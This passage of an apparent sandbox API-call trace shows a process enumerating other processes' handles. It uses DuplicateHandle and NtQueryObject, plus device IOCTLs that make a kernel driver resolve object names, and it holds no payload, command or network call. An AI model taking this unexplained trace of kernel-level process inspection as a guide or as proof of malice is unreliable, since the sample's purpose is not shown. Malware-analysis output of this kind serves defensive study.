(hObject=0xc0) returned 1 [0129.911] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc0 [0129.911] GetCurrentProcess () returned 0xffffffffffffffff [0129.911] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.911] CloseHandle (hObject=0xc0) returned 1 [0129.911] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.911] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x80) returned 0x1ccb50 [0129.911] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1ccb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1ccb50, ReturnLength=0x0) returned 0x0 [0129.911] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.911] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.911] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.911] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.912] PsAcquireProcessExitSynchronization () returned 0x0 [0129.912] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.912] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004929060, HandleInformation=0x0) returned 0x0 [0129.912] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.912] PsReleaseProcessExitSynchronization () returned 0x2 [0129.912] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.912] ObQueryNameString (in: Object=0xfffff8a004929060, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0129.912] ObfDereferenceObject (Object=0xfffff8a004929060) returned 0x2 [0129.912] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.912] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.912] CloseHandle (hObject=0xc4) returned 1 [0129.912] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc4 [0129.912] GetCurrentProcess () returned 0xffffffffffffffff [0129.912] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x90, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0129.912] CloseHandle (hObject=0xc4) returned 1 [0129.912] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.912] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ccb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ccb50*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0129.912] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff880050005a8 | out: Process=0xfffff880050005a8) returned 0x0 [0129.912] PsAcquireProcessExitSynchronization () returned 0x0 [0129.912] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005c8 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005c8) [0129.912] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880050005b0, HandleInformation=0x0 | out: Object=0xfffff880050005b0*=0xfffffa8002116ef0, HandleInformation=0x0) returned 0x0 [0129.912] PsReleaseProcessExitSynchronization () returned 0x2 [0129.912] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.912] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880050005a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880050005a4) returned 0xc0000004 [0129.912] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a003a682c0 [0129.912] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a003a682c0, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a003a682c0, ReturnLength=0x0) returned 0x0 [0129.912] ExFreePoolWithTag (P=0xfffff8a003a682c0, Tag=0x0) [0129.913] ObfDereferenceObject (Object=0xfffffa8002116ef0) returned 0x1 [0129.913] KeUnstackDetachProcess (ApcState=0xfffff880050005c8) [0129.913] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.913] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.913] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.913] PsAcquireProcessExitSynchronization () returned 0x0 [0129.913] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.913] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002116ef0, HandleInformation=0x0) returned 0x0 [0129.913] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.913] PsReleaseProcessExitSynchronization () returned 0x2 [0129.913] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.913] ObQueryNameString (in: Object=0xfffffa8002116ef0, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.913] ObfDereferenceObject (Object=0xfffffa8002116ef0) returned 0x1 [0129.913] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.913] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc4 [0129.913] GetCurrentProcess () returned 0xffffffffffffffff [0129.913] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.913] CloseHandle (hObject=0xc4) returned 1 [0129.913] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.913] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.913] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.913] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.913] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.913] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.913] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.913] PsAcquireProcessExitSynchronization () returned 0x0 [0129.913] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.913] ObReferenceObjectByHandle (in: Handle=0x4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80038e86a0, HandleInformation=0x0) returned 0x0 [0129.913] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.913] PsReleaseProcessExitSynchronization () returned 0x2 [0129.913] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.914] ObQueryNameString (in: Object=0xfffffa80038e86a0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.914] ObfDereferenceObject (Object=0xfffffa80038e86a0) returned 0x2 [0129.914] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.914] CloseHandle (hObject=0xc0) returned 1 [0129.914] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc0 [0129.914] GetCurrentProcess () returned 0xffffffffffffffff [0129.914] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.914] CloseHandle (hObject=0xc0) returned 1 [0129.914] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.914] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.914] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1ccb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1ccb50, ReturnLength=0x0) returned 0x0 [0129.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.914] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.914] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0129.914] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.914] PsAcquireProcessExitSynchronization () returned 0x0 [0129.914] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.914] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0129.914] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.914] PsReleaseProcessExitSynchronization () returned 0x2 [0129.914] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.914] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.914] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0xfa [0129.914] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.914] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.914] CloseHandle (hObject=0xc4) returned 1 [0129.914] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xc1c) returned 0xc4 [0129.914] GetCurrentProcess () returned 0xffffffffffffffff [0129.915] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.915] CloseHandle (hObject=0xc4) returned 1 [0129.915] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.915] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.915] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.915] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.915] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x1a, lpOverlapped=0x0) returned 1 [0129.915] PsLookupProcessByProcessId (in: ProcessId=0xc1c, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.915] PsAcquireProcessExitSynchronization () returned 0x0 [0129.915] KeStackAttachProcess (in: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039a2060, ApcState=0xfffff880050005d0) [0129.915] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80030987b0, HandleInformation=0x0) returned 0x0 [0129.915] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.915] PsReleaseProcessExitSynchronization () returned 0x2 [0129.915] ObfDereferenceObject (Object=0xfffffa80039a2060) returned 0x22 [0129.915] ObQueryNameString (in: Object=0xfffffa80030987b0, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.915] ObfDereferenceObject (Object=0xfffffa80030987b0) returned 0x481 [0129.915] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.915] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.915] CloseHandle (hObject=0xc0) returned 1 [0129.949] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x284) returned 0xc0 [0129.949] GetCurrentProcess () returned 0xffffffffffffffff [0129.949] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.949] CloseHandle (hObject=0xc0) returned 1 [0129.949] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.949] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x80) returned 0x1ccb50 [0129.949] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1ccb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1ccb50, ReturnLength=0x0) returned 0x0 [0129.949] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1ccb50 | out: hHeap=0x190000) returned 1 [0129.949] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.949] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.949] PsLookupProcessByProcessId (in: ProcessId=0x284, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.949] PsAcquireProcessExitSynchronization () returned 0x0 [0129.949] KeStackAttachProcess (in: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80038d3790, ApcState=0xfffff880050005d0) [0129.949] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80024701a0, HandleInformation=0x0) returned 0x0 [0129.949] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.949] PsReleaseProcessExitSynchronization () returned 0x2 [0129.949] ObfDereferenceObject (Object=0xfffffa80038d3790) returned 0x1a [0129.949] ObQueryNameString (in: Object=0xfffffa80024701a0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.949] ObfDereferenceObject (Object=0xfffffa80024701a0) returned 0x2 [0129.949] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.949] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.949] CloseHandle (hObject=0xc4) returned 1 [0129.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xfe0) returned 0xc4 [0129.950] GetCurrentProcess () returned 0xffffffffffffffff [0129.950] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0129.950] CloseHandle (hObject=0xc4) returned 1 [0129.950] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.950] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.950] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.950] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.950] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0129.950] PsLookupProcessByProcessId (in: ProcessId=0xfe0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.950] PsAcquireProcessExitSynchronization () returned 0x0 [0129.950] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff880050005d0) [0129.950] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0129.950] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.950] PsReleaseProcessExitSynchronization () returned 0x2 [0129.950] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x27 [0129.950] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.950] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0129.950] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.950] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.950] CloseHandle (hObject=0xc0) returned 1 [0129.950] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xbc0) returned 0xc0 [0129.950] GetCurrentProcess () returned 0xffffffffffffffff [0129.950] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x1d8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0129.950] CloseHandle (hObject=0xc0) returned 1 [0129.950] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0129.950] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x78) returned 0x1b4c50 [0129.950] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1b4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1b4c50, ReturnLength=0x0) returned 0x0 [0129.950] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b4c50 | out: hHeap=0x190000) returned 1 [0129.950] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e60090 [0129.950] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e60090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e60090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0129.951] PsLookupProcessByProcessId (in: ProcessId=0xbc0, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0129.951] PsAcquireProcessExitSynchronization () returned 0x0 [0129.951] KeStackAttachProcess (in: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80022bd7b0, ApcState=0xfffff880050005d0) [0129.951] ObReferenceObjectByHandle (in: Handle=0x1d8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800216f060, HandleInformation=0x0) returned 0x0 [0129.951] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0129.951] PsReleaseProcessExitSynchronization () returned 0x2 [0129.951] ObfDereferenceObject (Object=0xfffffa80022bd7b0) returned 0x38 [0129.951] ObQueryNameString (in: Object=0xfffffa800216f060, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0129.951] ObfDereferenceObject (Object=0xfffffa800216f060) returned 0x2 [0129.951] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0129.951] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e60090 | out: hHeap=0x190000) returned 1 [0129.951] CloseHandle (hObject=0xc4) returned 1 [0129.951] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x738) returned 0xc4 [0129.951] GetCurrentProcess () returned 0xffffffffffffffff [0129.951] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x454, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0129.951] CloseHandle (hObject=0xc4) returned 1 [0129.951] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x88) returned 0x1ccb50 [0129.951] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ccb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ccb50*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0129.951] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff880050005a8 | out: Process=0xfffff880050005a8) returned 0x0 [0129.951] PsAcquireProcessExitSynchronization () returned 0x0 [0129.951] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005c8 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff880050005c8) [0129.951] ObReferenceObjectByHandle (in: Handle=0x454, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff880050005b0, HandleInformation=0x0 | out: Object=0xfffff880050005b0*=0xfffffa8001a2d420, HandleInformation=0x0) returned 0x0 [0129.951] PsReleaseProcessExitSynchronization () returned 0x2 [0129.951] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xab [0129.951] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff880050005a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff880050005a4) returned 0xc0000004 [0129.951] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x80, Tag=0x58637250) returned 0xfffff8a0023b4010 [0129.951] ZwQueryObject (in: Handle=0x454, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0023b4010, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0023b4010, ReturnLength=0x0) returned 0x0 [0129.951] ExFreePoolWithTag (P=0xfffff8a0023b4010, Tag=0x0) [0129.951] ObfDereferenceObject (Object=0xfffffa8001a2d420) returned 0x2 [0129.951] 